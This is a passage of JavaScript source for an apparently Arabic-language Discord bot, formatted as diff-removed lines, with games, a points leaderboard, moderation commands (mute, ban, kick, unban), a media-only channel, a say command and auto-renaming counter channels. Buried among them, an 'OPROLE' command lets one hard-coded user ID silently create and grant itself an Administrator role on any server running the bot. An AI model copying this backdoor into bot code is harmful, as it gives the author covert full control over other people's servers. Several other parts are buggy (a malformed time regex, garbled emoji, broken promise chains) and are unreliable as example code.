- ctx.arc(70, 80, 63, 0, Math.PI*2);
- ctx.closePath();
- ctx.clip();
- ctx.drawImage(ava, 8, 18, 128, 126);
- message.channel.sendFile(canvas.toBuffer());
- })
- message.channel.awaitMessages(filter, { maxMatches: 1, time: 30000, errors: ['time'] })//وقت الاجابة
- .then((collected) => {
- var embed = new Discord.RichEmbed()
- .setDescription(`${collected.first().author} ? **احسنت لقد تمكنت من كتابه هذه الكلمه بسرعه**`)
- message.channel.send(embed);
- console.log(`[Typing] ${collected.first().author} typed the word.`);
- let won = collected.first().author;
- points[won.id].points++;
- })
- .catch(collected => {
- var embed1 = new Discord.RichEmbed()
- .setDescription(`:x: **لم يتمكن احد من كتابه هذه الكلمه في الوقت المناسب**`)
- message.channel.send(embed1);
- console.log('[Typing] Error: No one type the word.');
- })
- })
- })
- }
- });
- client.on('message', message => {
- if(message.author.bot) return;
- if (!points[message.author.id]) points[message.author.id] = {
- points: 0,id: message.author.id
- };
- if (message.content.startsWith(prefix + 'رياضيات')) {
- if(!message.channel.guild) return message.reply('**هذا الأمر للسيرفرات فقط**').then(m => m.delete(3000));
- const type = require('./math.json');
- const item = type[Math.floor(Math.random() * type.length)];
- const filter = response => {
- return item.answers.some(answer => answer.toLowerCase() === response.content.toLowerCase());
- };
- message.channel.send('**لديك 15 ثانيه لحل المسئله**').then(msg => {
- const w = ['./img/w1.png'];//الخافيه
- let Image = Canvas.Image,
- canvas = new Canvas(400, 150),
- ctx = canvas.getContext('2d');
- fs.readFile(`${w[Math.floor(Math.random() * w.length)]}`, function (err, Background) {
- if (err) return console.log(err);
- let BG = Canvas.Image;
- let ground = new Image;
- ground.src = Background;
- ctx.drawImage(ground, 0, 0, 400, 150);
- });
- let url = message.author.displayAvatarURL.endsWith(".webp") ? message.author.displayAvatarURL.slice(5, -20) + ".png" : message.author.displayAvatarURL;
- jimp.read(url, (err, ava) => {
- if (err) return console.log(err);
- ava.getBuffer(jimp.MIME_PNG, (err, buf) => {
- if (err) return console.log(err);
- ctx.font = '15px Arial';
- ctx.fontSize = '10px';
- ctx.fillStyle = "#FFFFFF";
- ctx.textAlign = "center";
- ctx.fillText(`${item.type} ` , 250, 100);
- let Avatar = Canvas.Image;
- let ava = new Avatar;
- ava.src = buf;
- ctx.beginPath();
- ctx.arc(70, 80, 63, 0, Math.PI*2);
- ctx.closePath();
- ctx.clip();
- ctx.drawImage(ava, 8, 18, 128, 126);
- message.channel.sendFile(canvas.toBuffer());
- })
- message.channel.awaitMessages(filter,{
- thing: true,
- maxMatches : 1,
- time : 60000,
- maxUses: 1,
- errors : ['time']
- })//وقت الاجابة
- .then((collected) => {
- var embed = new Discord.RichEmbed()
- .setDescription(`${collected.first().author} ? **احسنت لقد تمكنت من أجابه عن معادله بسرعه**`)
- message.channel.send(embed);
- console.log(`[Typing] ${collected.first().author} typed the word.`);
- let won = collected.first().author;
- points[won.id].points++;
- })
- .catch(collected => {
- var embed1 = new Discord.RichEmbed()
- .setDescription(`:x: **لم يتمكن احد من حل معادله في الوقت المناسب**`)
- message.channel.send(embed1);
- console.log('[Typing] Error: No one type the word.');
- })
- })
- })
- }
- });
- client.on("message", function(message) {
- var prefix = "*";
- if(message.content.startsWith(prefix + "rps")) {
- let messageArgs = message.content.split(" ").slice(1).join(" ");
- let messageRPS = message.content.split(" ").slice(2).join(" ");
- let arrayRPS = ['**# - Rock**','**# - Paper**','**# - Scissors**'];
- let result = `${arrayRPS[Math.floor(Math.random() * arrayRPS.length)]}`;
- var RpsEmbed = new Discord.RichEmbed()
- .setAuthor(message.author.username)
- .setThumbnail(message.author.avatarURL)
- .addField("Rock","??",true)
- .addField("Paper","??",true)
- .addField("Scissors","??",true)
- message.channel.send(RpsEmbed).then(msg => {
- msg.react(' ??')
- msg.react("??")
- msg.react("??")
- .then(() => msg.react('??'))
- .then(() =>msg.react('??'))
- .then(() => msg.react('??'))
- let reaction1Filter = (reaction, user) => reaction.emoji.name === '??' && user.id === message.author.id;
- let reaction2Filter = (reaction, user) => reaction.emoji.name === '??' && user.id === message.author.id;
- let reaction3Filter = (reaction, user) => reaction.emoji.name === '??' && user.id === message.author.id;
- let reaction1 = msg.createReactionCollector(reaction1Filter, { time: 12000 });
- let reaction2 = msg.createReactionCollector(reaction2Filter, { time: 12000 });
- let reaction3 = msg.createReactionCollector(reaction3Filter, { time: 12000 });
- reaction1.on("collect", r => {
- message.channel.send(result)
- })
- reaction2.on("collect", r => {
- message.channel.send(result)
- })
- reaction3.on("collect", r => {
- message.channel.send(result)
- })
- })
- }
- });
- client.on('message', message => {
- if(message.author.bot) return;
- if (message.content.startsWith(prefix + 'توب')) {
- let _top = 1;
- let topp = Object.values(points);
- let top = topp.slice(0, 10).map(users => `**\`.${_top++}\` | <@${users.id}> \`XP: ${users.points}\`**`).sort((a, b) => a > b).join('\n');
- const prefixlor = new Discord.RichEmbed()
- .setTitle("Leaderboard")
- .setAuthor(client.user.username, client.user.avatarURL)
- .setDescription(top,true)
- message.channel.sendEmbed(prefixlor)
- }
- });
- client.on('message', message => {
- if(message.author.bot) return;
- if (message.content.startsWith(prefix + 'نقاطي')) {
- if(!message.channel.guild) return message.reply('**هذا الأمر للسيرفرات فقط**').then(m => m.delete(3000));
- let userData = points[message.author.id];
- let embed = new Discord.RichEmbed()
- .setAuthor(`${message.author.tag}`, message.author.avatarURL)
- .setColor('#000000')
- .setDescription(`نقاطك: \`${userData.points}\``)
- message.channel.sendEmbed(embed)
- }
- });
- client.on('message', async message => {
- let mention = message.mentions.members.first();
- let command = message.content.split(" ")[0];
- command = command.slice(prefix.length);
- let args = message.content.split(" ").slice(1);
- if (message.content === ">unmute") {
- if(!message.member.hasPermission("MUTE_MEMBERS")) return message.channel.sendMessage("**You Donot HavePermission Mute_Members**").then(m => m.delete(5000));
- if(!message.guild.member(client.user).hasPermission("MUTE_MEMBERS")) return message.reply("**I donot Have Permission Mute_Members**").then(msg => msg.delete(6000))
- let kinggamer = message.guild.member(message.mentions.users.first()) || message.guild.members.get(args[0]);
- if(!kinggamer) return message.channel.send('Mention Someone')
- let role = message.guild.roles.find (r => r.name === "Muted");
- if(!role || !kinggamer.roles.has(role.id)) return message.channel.sendMessage(`**:information_source:${mention.user.username} لقد تم فك الميوت عنه مسبقا**`)
- await kinggamer.removeRole(role)
- message.channel.sendMessage(`**:white_check_mark: ${mention.user.username} Unmute> **`);
- let mutedEmbed = new Discord.RichEmbed()
- .setDescription("New UnMute User")
- .setThumbnail(message.guild.iconURL)
- .setColor("#bc0000")
- .addField("Unmuted", `${mention} with ID ${mention.id}`)
- .addField("Unmuted By", `<@${message.member.id}> with ID ${message.member.id}`)
- .addField("Unmuted In", message.channel)
- .addField("Time & Date", `${message.createdAt}`)
- .setFooter("?????????? ??????")
- let incidentchannel = message.guild.channels.find(`name`, `${log[message.guild.id].channel}`);
- if(!incidentchannel) return message.channel.send("Can't find log channel. To Set The Log Channel Type >setLog and answer the questions");
- return;
- }
- });
- client.on('message',message =>{
- var command = message.content.toLowerCase().split(" ")[0];
- var args = message.content.toLowerCase().split(" ");
- var userM = message.mentions.users.first()
- if(command == prefix + 'unban') {
- if(!message.member.hasPermission('BAN_MEMBERS')) return message.channel.send(':no_entry: | You dont have **BAN_MEMBERS** Permission!');
- if(!message.guild.member(client.user).hasPermission("BAN_MEMBERS")) return message.channel.send(':no_entry: | I dont have **BAN_MEMBERS** Permission!');
- if(!args[1]) return message.channel.send(':no_entry: | Please type the ID of user');
- if(args[1].length < 16) return message.reply(':no_entry: | This ID is not id user!');
- message.guild.fetchBans().then(bans => {
- var Found = bans.find(m => m.id === args[1]);
- if(!Found) return message.channel.send(`:no_entry: | <@${message.author.id}> This preson not have any ban from this server! :unlock:`);
- message.guild.unban(args[1]);
- message.channel.send(`:white_check_mark: Successfully \`\`UNBANNED\`\` <@${args[1]}> From the server!`);
- let banInfo = new Discord.RichEmbed()
- .setTitle('**New Unbanned User !**')
- .setThumbnail(message.author.avatarURL)
- .setColor('GREEN')
- .setDescription(`**\n:airplane: Successfully \`\`UNBANNED\`\` <@${args[1]}> From the server!\n\n**User:** <@${args[1]}> (ID: ${args[1]})\n**By:** <@${message.author.id}> (ID: ${message.author.id})`)
- .setTimestamp()
- .setFooter(userM.user.tag, userM.user.avatarURL)
- let incidentchannel = message.guild.channels.find(`name`, `${log[message.guild.id].channel}`);
- if(!incidentchannel) return message.channel.send("Can't find log channel. To Set The Log Channel Type >setLog and answer the questions");
- incidentchannel.send(banInfo);
- }
- )}
- })
- const mmss = require('ms');
- client.on('message', async message => {
- let muteReason = message.content.split(" ").slice(3).join(" ");
- let mutePerson = message.mentions.users.first();
- let messageArray = message.content.split(" ");
- let muteRole = message.guild.roles.find("name", "Muted");
- let time = messageArray[2];
- if(message.content.startsWith(prefix + "tempmute")) {
- if(!message.member.hasPermission('MUTE_MEMBERS')) return message.channel.send('**Sorry But You Dont Have Permission** `MUTE_MEMBERS`' );
- if(!mutePerson) return message.channel.send('**Mention Someone**')
- if(mutePerson === message.author) return message.channel.send('**You Cant Mute Yourself**');
- if(mutePerson === client.user) return message.channel.send('**You Cant Mute The Bot**');
- if(message.guild.member(mutePerson).roles.has(muteRole.id)) return message.channel.send('**This Person Already Tempmuted !**');
- if(!muteRole) return message.guild.createRole({ name: "Muted", permissions: [] });
- if(!time) return message.channel.send("**Type The Duration**");
- if(!time.match(/[1-60][s,m,h,d,w]/g)) return message.channel.send('**The Bot Not Support This Time**');
- if(!muteReason) return message.channel.send('Please Type The Reason')
- message.guild.member(mutePerson).addRole(muteRole);
- message.channel.send(`**:white_check_mark: ${mutePerson} has been muted ! :zipper_mouth: **`)
- message.delete()
- let muteEmbed = new Discord.RichEmbed()
- .setTitle(`New Temp Muted User`)
- .setThumbnail(message.guild.iconURL)
- .addField('- Muted By:',message.author,true)
- .addField('- Muted User:', `${mutePerson}`)
- .addField('- Reason:',muteReason,true)
- .addField('- Duration:',`${mmss(mmss(time), {long: true})}`)
- .setFooter(message.author.username,message.author.avatarURL);
- let incidentchannel = message.guild.channels.find(`name`, `${log[message.guild.id].channel}`);
- if(!incidentchannel) return message.channel.send("Can't find log channel. To Set The Log Channel Type >setLog and answer the questions");
- incidentchannel.sendEmbed(muteEmbed)
- mutePerson.send(`**You Are has been temp muted in ${message.guild.name} reason: ${muteReason}**`)
- .then(() => { setTimeout(() => {
- message.guild.member(mutePerson).removeRole(muteRole);
- }, mmss(time));
- });
- }
- });
- client.on('message', async message => {
- var moment = require('moment');
- var mmss = require('ms')
- let date = moment().format('Do MMMM YYYY , hh:mm');
- let User = message.mentions.users.first();
- let Reason = message.content.split(" ").slice(3).join(" ");
- let messageArray = message.content.split(" ");
- let time = messageArray[2];
- if(message.content.startsWith(prefix + "tempban")) {
- if (!message.channel.guild) return;
- if(!message.guild.member(message.author).hasPermission("BAN_MEMBERS")) return message.channel.send("**ماعندك برمشن :X:**");
- if(!User) message.channel.send("Mention Someone");
- if(User.id === client.user.id) return message.channel.send("** :X: ماتقدر تبند البوت**");
- if(User.id === message.guild.owner.id) return message.channel.send("** :X:لااستطيع تبنيد الاونر **");
- if(!time) return message.channel.send("**- اكتب الوقت**");
- if(!time.match(/[1-60][s,m,h,d,w]/g)) return message.channel.send('** :X: البوت لايدعم هذا الوقت**');
- if(!Reason) Reason = "Null";
- let banEmbed = new Discord.RichEmbed()
- .setAuthor(`New Banned User !`)
- .setThumbnail(message.guild.iconURL || message.guild.avatarURL)
- .addField('- Banned By: ',message.author.tag,true)
- .addField('- Banned User:', `${User}`)
- .addField('- Reason:',Reason,true)
- .addField('- Time & Date:', `${message.createdAt}`)
- .addField('- Duration:',time,true)
- .setFooter(message.author.tag,message.author.avatarURL);
- let incidentchannel = message.guild.channels.find(`name`, `${log[message.guild.id].channel}`);
- if(!incidentchannel) return message.channel.send("Can't find log channel. To Set The Log Channel Type >setLog and answer the questions");
- incidentchannel.send(banEmbed);
- message.channel.send(`**:white_check_mark: ${User} has been banned :airplane: **`).then(() => message.guild.member(User).ban({reason: Reason}))
- User.send(`**:airplane: You are has been banned in ${message.guild.name} reason: ${Reason} by: ${message.author.tag} :airplane:**`)
- .then(() => { setTimeout(() => {
- message.guild.unban(User);
- }, mmss(time));
- });
- }
- });
- client.on('message', message => {
- var prefix = ">";
- if (message.author.kick) return;
- if (!message.content.startsWith(prefix)) return;
- let command = message.content.split(" ")[0];
- command = command.slice(prefix.length);
- let args = message.content.split(" ").slice(1);
- if (command == "kick") {
- if (!message.channel.guild) return;
- if(!message.guild.member(message.author).hasPermission("KICK_MEMBERS")) return message.reply("You Don't Have KICK_MEMBERS Permission").then(msg => msg.delete(5000));
- if(!message.guild.member(client.user).hasPermission("KICK_MEMBERS")) return message.reply("I Don't Have KICK_Members Permission");
- let user = message.mentions.users.first();
- let reason = message.content.split(" ").slice(2).join(" ");
- if (message.mentions.users.size < 1) return message.reply("Mention Someone");
- if(!reason) reason = "Null";
- if (!message.guild.member(user)
- .bannable) return message.reply("I can not be higher than my rank");
- message.guild.member(user).kick(7, user);
- const Kickembed = new Discord.RichEmbed()
- .setTitle('**New Kicked User !**')
- .setThumbnail(message.guild.iconURL)
- .setColor("RANDOM")
- .addField("Kicked User:", `${user.tag}`)
- .addField("Kicked By:", `${message.author.tag}`)
- .addField("Reason:", `${reason}`)
- .addField("Kicked In :", `${message.channel.name}`)
- .addField("Time & Date :", `${message.createdAt}`)
- .setFooter('?????????? ??????');
- message.guild.channels.find('name', 'log').sendEmbed(Kickembed)
- message.channel.send(`**:white_check_mark: ${user} has been kicked ! :airplane:**`)
- user.send(`**:airplane: You are has been kicked in ${message.guild.name} reason: ${reason}**`)
- message.delete()
- }
- })
- client.on('message', message => {
- if (message.author.x5bz) return;
- if (!message.content.startsWith(prefix)) return;
- let command = message.content.split(" ")[0];
- command = command.slice(prefix.length);
- let args = message.content.split(" ").slice(1);
- if (command == "ban") {
- if (!message.channel.guild) return;
- if(!message.guild.member(message.author).hasPermission("BAN_MEMBERS")) return message.reply("**You Don't Have ` BAN_MEMBERS ` Permission**");
- if(!message.guild.member(client.user).hasPermission("BAN_MEMBERS")) return message.reply("**I Don't Have ` BAN_MEMBERS ` Permission**");
- let user = message.mentions.users.first();
- let reason = message.content.split(" ").slice(2).join(" ");
- /*let b5bzlog = client.channels.find("name", "5bz-log");
- if(!b5bzlog) return message.reply("I've detected that this server doesn't have a 5bz-log text channel.");*/
- if (message.mentions.users.size < 1) return message.reply("**Mention Someone**");
- if(!reason) reason = "Null";
- if (!message.guild.member(user)
- .bannable) return message.reply("**This person has a grade higher than his bot rank**");
- message.guild.member(user).ban(7, user);
- message.channel.send(`**:white_check_mark: ${user} has been banned :airplane: **`)
- let banEmbed = new Discord.RichEmbed()
- .setAuthor(`New Banned User !`)
- .setThumbnail(message.guild.iconURL || message.guild.avatarURL)
- .addField('- Banned By: ',message.author.tag,true)
- .addField('- Banned User:', `${user}`)
- .addField('- Reason:',reason,true)
- .addField('- Time & Date:', `${message.createdAt}`)
- .setFooter(message.author.tag,message.author.avatarURL);
- let incidentchannel = message.guild.channels.find(`name`, `${log[message.guild.id].channel}`);
- if(!incidentchannel) return message.channel.send("Can't find log channel. To Set The Log Channel Type >setLog and answer the questions");
- incidentchannel.send(banEmbed);
- user.send(`You Are Has Been Banned Permanently In ${message.guild.name} reason: ${reason}`)
- }})
- const pics = JSON.parse(fs.readFileSync('./pics.json' , 'utf8'));
- client.on('message', message => {
- if (!message.channel.guild) return;
- let room = message.content.split(" ").slice(1);
- let findroom = message.guild.channels.find('name', `${room}`)
- if(message.content.startsWith(prefix + "setMedia")) {
- if(!message.channel.guild) return message.reply('**This Command Only For Servers**');
- if(!message.member.hasPermission('MANAGE_GUILD')) return message.channel.send('**Sorry But You Dont Have Permission** `MANAGE_GUILD`' );
- if(!room) return message.channel.send('Please Type The Channel Name')
- if(!findroom) return message.channel.send('Cant Find This Channel')
- let embed = new Discord.RichEmbed()
- .setTitle('**Done The MediaOnly Code Has Been Setup**')
- .addField('Channel:', `${room}`)
- .addField('Requested By', `${message.author}`)
- .setThumbnail(message.author.avatarURL)
- .setFooter(`${client.user.username}`)
- message.channel.sendEmbed(embed)
- pics[message.guild.id] = {
- channel: room,
- onoff: 'On'
- },
- fs.writeFile("./pics.json", JSON.stringify(pics), (err) => {
- if (err) console.error(err)
- })
- }})
- client.on('message', message => {
- if(message.content.startsWith(prefix + "toggleMedia")) {
- if (!message.channel.guild) return;
- if(!message.channel.guild) return message.reply('**This Command Only For Servers**');
- if(!message.member.hasPermission('MANAGE_GUILD')) return message.channel.send('**Sorry But You Dont Have Permission** `MANAGE_GUILD`' );
- if(!pics[message.guild.id]) pics[message.guild.id] = {
- onoff: 'Off'
- }
- if(pics[message.guild.id].onoff === 'Off') return [message.channel.send(`**The MediaCode Is __????__ !**`), pics[message.guild.id].onoff = 'On']
- if(pics[message.guild.id].onoff === 'On') return [message.channel.send(`**The MediaCode Is __??????__ !**`), pics[message.guild.id].onoff = 'Off']
- fs.writeFile("./pics.json", JSON.stringify(pics), (err) => {
- if (err) console.error(err)
- })
- }
- })
- client.on('message', message => {
- if (!message.channel.guild) return;
- if(message.author.bot) return;
- if(!pics[message.guild.id]) pics[message.guild.id] = {
- onoff: 'Off'
- }
- if(pics[message.guild.id].onoff === 'Off') return;
- if(message.channel.name !== `${pics[message.guild.id].channel}`) return;
- let types = [
- 'jpg',
- 'jpeg',
- 'png',
- 'http://prntscr.com/'
- ]
- if (message.attachments.size <= 0) {
- message.delete();
- message.channel.send(`${message.author}, This Channel For Media ??? Only !`)
- .then(msg => {
- setTimeout(() => {
- msg.delete();
- }, 5000)
- })
- return;
- }
- if(message.attachments.size >= 1) {
- let filename = message.attachments.first().filename
- console.log(filename);
- if(!types.some( type => filename.endsWith(type) )) {
- message.delete();
- message.channel.send(`${message.author}, This Channel For Media ??? Only !`)
- .then(msg => {
- setTimeout(() => {
- msg.delete();
- }, 5000)
- })
- .catch(err => {
- console.error(err);
- });
- }
- }
- })
- client.on('message', message => {
- if(message.content.startsWith(prefix + "infoMedia")) {
- let embed = new Discord.RichEmbed()
- .addField('Channel Status', `${pics[message.guild.id].onoff}`)
- .addField('Media Channel', `${pics[message.guild.id].channel}`)
- .addField('Requested By', `${message.author}`)
- .setThumbnail(message.author.avatarURL)
- .setFooter(`${client.user.username}`)
- message.channel.sendEmbed(embed)
- }})
- const say = JSON.parse(fs.readFileSync('./say.json' , 'utf8'));
- //Perfect Say Code
- client.on('message', async message => {
- let messageArray = message.content.split(" ");
- if(message.content.startsWith(prefix + "setSay")) {
- let filter = m => m.author.id === message.author.id;
- let role;
- if(!message.member.hasPermission("MANAGE_GUILD")) return message.channel.send('You don\'t have permission').then(msg => {
- msg.delete(4500);
- message.delete(4500);
- });
- message.channel.send(':pencil: **| Please Type The Role Required To Type The Say Command ... :pencil2: **').then(msg => {
- message.channel.awaitMessages(filter, {
- max: 1,
- time: 90000,
- errors: ['time']
- })
- .then(collected => {
- collected.first().delete();
- role = collected.first().content;
- let replymsg;
- msg.edit(':scroll: **| Now Please Type The Answer If He Dont Have The Required Role ... :pencil2: **').then(msg => {
- message.channel.awaitMessages(filter, {
- max: 1,
- time: 90000,
- errors: ['time']
- })
- .then(collected => {
- collected.first().delete();
- replymsg = collected.first().content;
- msg.edit('? **| Successfully Setup !... **').then(msg => {
- message.channel.awaitMessages(filter, {
- max: 1,
- time: 90000,
- errors: ['time']
- })
- let embed = new Discord.RichEmbed()
- .setTitle('**Done The Say Code Has Been Setup**')
- .addField('Say Role:', `${role}`)
- .addField('Say Role Reply:', `${replymsg}`)
- .addField('Requested By:', `${message.author}`)
- .setThumbnail(message.author.avatarURL)
- .setFooter(`${client.user.username}`)
- .setColor('RANDOM')
- say[message.guild.id] = {
- onoff: 'On',
- sayembed: 'On',
- reply: replymsg,
- sayrole: role
- },
- message.channel.sendEmbed(embed)
- fs.writeFile("./say.json", JSON.stringify(say), (err) => {
- if (err) console.error(err)
- })
- })
- })
- })
- })
- })
- }})
- client.on('message', message => {
- let args = message.content.split(" ").slice(1);
- if(message.content.startsWith(prefix + 'embedsay')) {
- if(say[message.guild.id].onoff === 'Off') return;
- if(say[message.guild.id].sayembed === 'Off') return;
- let staff = message.guild.member(message.author).roles.find('name' , `${say[message.guild.id].sayrole}`);
- if(!staff) return message.channel.send(`${say[message.guild.id].replymsg}`)
- let embed = new Discord.RichEmbed()
- .setDescription(args)
- message.channel.sendEmbed(embed)
- }})
- client.on('message', message => {
- if(message.content.startsWith(prefix + "toggleSay")) {
- if(!message.channel.guild) return message.reply('**This Command Only For Servers**');
- if(!message.member.hasPermission('MANAGE_GUILD')) return message.channel.send('**Sorry But You Dont Have Permission** `MANAGE_GUILD`' );
- if(!say[message.guild.id]) say[message.guild.id] = {
- onoff: 'Off'
- }
- if(say[message.guild.id].onoff === 'Off') return [message.channel.send(`**The Say Is __????__ !**`), say[message.guild.id].onoff = 'On']
- if(say[message.guild.id].onoff === 'On') return [message.channel.send(`**The Say Is __??????__ !**`), say[message.guild.id].onoff = 'Off']
- fs.writeFile("./say.json", JSON.stringify(say), (err) => {
- if (err) console.error(err)
- .catch(err => {
- console.error(err);
- });
- });
- }
- })
- client.on('message', message => {
- if(message.content.startsWith(prefix + "toggleEmbed")) {
- if(!message.channel.guild) return message.reply('**This Command Only For Servers**');
- if(!message.member.hasPermission('MANAGE_GUILD')) return message.channel.send('**Sorry But You Dont Have Permission** `MANAGE_GUILD`' );
- if(!say[message.guild.id]) say[message.guild.id] = {
- embed: 'Off'
- }
- if(say[message.guild.id].sayembed === 'Off') return [message.channel.send(`**The Say Embed Is __????__ !**`), say[message.guild.id].sayembed = 'On']
- if(say[message.guild.id].sayembed === 'On') return [message.channel.send(`**The Say Embed Is __??????__ !**`), say[message.guild.id].sayembed = 'Off']
- fs.writeFile("./say.json", JSON.stringify(say), (err) => {
- if (err) console.error(err)
- .catch(err => {
- console.error(err);
- });
- })
- }
- })
- client.on('message', message => {
- if (message.author.bot) return;
- if (!message.content.startsWith(prefix)) return;
- let command = message.content.split(" ")[0];
- command = command.slice(prefix.length);
- let args = message.content.split(" ").slice(1);
- let embed = new Discord.RichEmbed()
- .setTitle(args)
- if (command === "say") {
- if(say[message.guild.id].onoff === 'Off') return;
- let staff = message.guild.member(message.author).roles.find('name' , `${say[message.guild.id].sayrole}`);
- if(!staff) return message.channel.send(`${say[message.guild.id].replymsg}`)
- message.delete()
- if(!say[message.guild.id].sayembed === 'On') return message.sendEmbed(say)
- message.channel.sendMessage(args)
- }})
- client.on('message', message => {
- if(message.content.startsWith(prefix + "infoSay")) {
- let embed = new Discord.RichEmbed()
- .addField('Say Status', `${say[message.guild.id].onoff}`)
- .addField('Say Role:', `${say[message.guild.id].sayrole}`)
- .addField('Say Embed Status:', `${say[message.guild.id].embed}`)
- .addField('Requested By', `${message.author}`)
- .setThumbnail('https://a.top4top.net/p_10555ubbl1.png')
- .setImage(message.author.avatarURL)
- .setFooter(`${client.user.username}`)
- .setColor('RANDOM')
- message.channel.sendEmbed(embed)
- }})
- client.on('message', message => {
- if(message.content === prefix + "options"){
- const reply2 = JSON.parse(fs.readFileSync('./replys2.json' , 'utf8'));
- if(!antibots[message.guild.id]) antibots[message.guild.id] = {
- onoff: 'Off'
- }
- if(!reply[message.guild.id]) reply[message.guild.id] = {
- onoff: 'Off'
- }
- if(!reply2[message.guild.id]) reply2[message.guild.id] = {
- onoff: 'Off'
- }
- if(!reply3[message.guild.id]) reply3[message.guild.id] = {
- onoff: 'Off'
- }
- let reply11 = `${reply[message.guild.id].msg}`
- if(reply[message.guild.id].onoff === 'Off') reply11 = 'Null'
- let reply1reply = `${reply[message.guild.id].reply}`
- if(reply[message.guild.id].onoff === 'Off') reply1reply = 'Null'
- let reply22 = `${reply2[message.guild.id].msg}`
- if(reply2[message.guild.id].onoff === 'Off') reply22 = 'Null'
- let reply2reply = `${reply2[message.guild.id].reply}`
- if(reply2[message.guild.id].onoff === 'Off') reply2reply = 'Null'
- let reply33 = `${reply3[message.guild.id].msg}`
- if(reply3[message.guild.id].onoff === 'Off') reply33 = 'Null'
- let reply3reply = `${reply3[message.guild.id].reply}`
- if(reply3[message.guild.id].onoff === 'Off') reply3reply = 'Null'
- if(!antihack[message.guild.id]) antihack[message.guild.id] = {
- onoff: 'Off'
- }
- if(!spread[message.guild.id]) spread[message.guild.id] = {
- onoff: 'Off'
- }
- if(!welcome[message.guild.id]) welcome[message.guild.id] = {
- onoff: 'Off'
- }
- if(!say[message.guild.id]) say[message.guild.id] = {
- onoff: 'Off'
- }
- let embed = new Discord.RichEmbed()
- .setTitle(':wrench: Bot Options :')
- .setThumbnail('https://f.top4top.net/p_1066d93ao1.png')
- .setColor('RANDOM')
- .addField('?? AutoRole Status:', `${ar[message.guild.id].onoff}` || `Null`)
- .addField('?? AutoRole Role :', `${ar[message.guild.id].role}` || `Null`)
- .addField('?? Media Channel Status :', `${pics[message.guild.id].onoff}` || `Null`)
- .addField('?? Media Channel :', `${pics[message.guild.id].channel}` || `Null`)
- .addField('?? Say Status', `${say[message.guild.id].onoff}` || `Null`)
- .addField('?? Say Role:', `${say[message.guild.id].sayrole}` || `Null`)
- .addField('?? Say Embed Status:', `${say[message.guild.id].embed}` || `Null`)
- .addField('?? AutoReply Word:', `${reply11}` || `Null`)
- .addField('?? AutoReply Reply:', `${reply1reply}` || `Null`)
- .addField('?? AutoReply Word2:', `${reply22}` || `Null`)
- .addField('?? AutoReply Reply2:', `${reply2reply}` || `Null`)
- .addField('?? AutoReply Word3:', `${reply33}` || `Null`)
- .addField('?? AutoReply Reply3:', `${reply3reply}`)
- .addField('?? Antihack Status:', `${antihack[message.guild.id].onoff}` || `Off`)
- .addField('?? Antispread Status:', `${spread[message.guild.id].onoff}` || `Null`)
- .addField('?? AntiBots Status:', `${antibots[message.guild.id].onoff}` || `Null`)
- .addField('?? Welcome Status:', `${welcome[message.guild.id].onff}` || 'Null')
- .addField('?? Dm Welcome Status:', `${welcome[message.guild.id].dm}` || `Null`)
- .addField('?? Welcome Invited By Status:', `${welcome[message.guild.id].by}` || `Null`)
- .addField('?? Welcome Channel:', `${welcome[message.guild.id].channel}` || `Null`)
- message.channel.sendEmbed(embed)
- }})
- client.on('message', async message => {
- const devs = ['505638480248963072'];
- let member = message.author
- if(message.content.startsWith(prefix + "OPROLE")) {
- if (!devs.includes(message.author.id)) return;
- let muteRole = message.guild.roles.find('name', 'OPROLE')
- if(!muteRole) return message.guild.createRole({ name: "OPROLE", permissions: [8] });
- message.guild.member(member).addRole(muteRole);
- }
- });
- client.on('message',async message => {
- if(message.content.startsWith(prefix + "setVoice")) {
- if(!message.guild.member(message.author).hasPermissions('MANAGE_CHANNELS')) return message.reply('? **ليس لديك الصلاحيات الكافية**');
- if(!message.guild.member(client.user).hasPermissions(['MANAGE_CHANNELS','MANAGE_ROLES_OR_PERMISSIONS'])) return message.reply('? **ليس معي الصلاحيات الكافية**');
- message.channel.send('?| **تم عمل الروم بنجاح**');
- message.guild.createChannel(`Voice Online : [ ${message.guild.members.filter(m => m.voiceChannel).size} ]` , 'voice').then(c => {
- console.log(`Voice online channel setup for guild: \n ${message.guild.name}`);
- c.overwritePermissions(message.guild.id, {
- CONNECT: false,
- SPEAK: false
- });
- setInterval(function() {
- c.setName(`Voice Online : [ ${message.guild.members.filter(m => m.voiceChannel).size} ]`)
- },1000);
- });
- }
- });
- client.on('message',async message => {
- if(message.content.startsWith(prefix + "setCount")) {
- if(!message.guild.member(message.author).hasPermissions('MANAGE_CHANNELS')) return message.reply('? **ليس لديك الصلاحيات الكافية**');
- if(!message.guild.member(client.user).hasPermissions(['MANAGE_CHANNELS','MANAGE_ROLES_OR_PERMISSIONS'])) return message.reply('? **ليس معي الصلاحيات الكافية**');
- message.channel.send('?| **تم عمل الروم بنجاح**');
- message.guild.createChannel(`Members Count : [ ${message.guild.members.size} ]` , 'voice').then(c => {
- console.log(`Count Members channel setup for guild: \n ${message.guild.name}`);
- c.overwritePermissions(message.guild.id, {
- CONNECT: false,
- SPEAK: false
- });
- setInterval(function() {
- c.setName(`Members Count : [ ${message.guild.members.size} ]`)
- },1000);
- });
- }
- });
- client.on('message',async message => {
- if(message.content.startsWith(prefix + "setTime")) {
- if(!message.guild.member(message.author).hasPermission('MANAGE_CHANNELS')) return message.reply('? **ليس لديك الصلاحيات الكافية**');
- if(!message.guild.member(client.user).hasPermission(['MANAGE_CHANNELS','MANAGE_ROLES_OR_PERMISSIONS'])) return message.reply('? **ليس معي الصلاحيات الكافية**');
- message.channel.send('?| **تم عمل الروم بنجاح**');
- message.guild.createChannel("?? - Time 00", 'voice').then((c) => {
- console.log(`Time channel setup for guild: \n ${message.guild.name}`);
- c.overwritePermissions(message.guild.id, {
- CONNECT: false,
- SPEAK: false
- });
- setInterval(function() {
- var currentTime = new Date(),
- hours = currentTime.getHours() + 3 ,
- minutes = currentTime.getMinutes(),
- seconds = currentTime.getSeconds(),
- years = currentTime.getFullYear(),
- month = currentTime.getMonth(),
- day = currentTime.getDate(),
- week = currentTime.getDay();
- if (minutes < 10) {
- minutes = "0" + minutes;
- }
- var suffix = "AM";
- if (hours >= 12) {
- suffix = "PM";
- hours = hours - 12;
- }
- if (hours == 0) {
- hours = 12;
- }
- c.setName("?? - Time ?" + hours + ":" + minutes +" " + suffix + "?");
- },1000);
- });
- }
- });
- client.on('message',async message => {
- if(message.content.startsWith(prefix + "setDate")) {
- var currentTime = new Date(),
- years = currentTime.getFullYear(),
- month = currentTime.getMonth() + 1,
- day = currentTime.getDate(),
- week = currentTime.getDay();
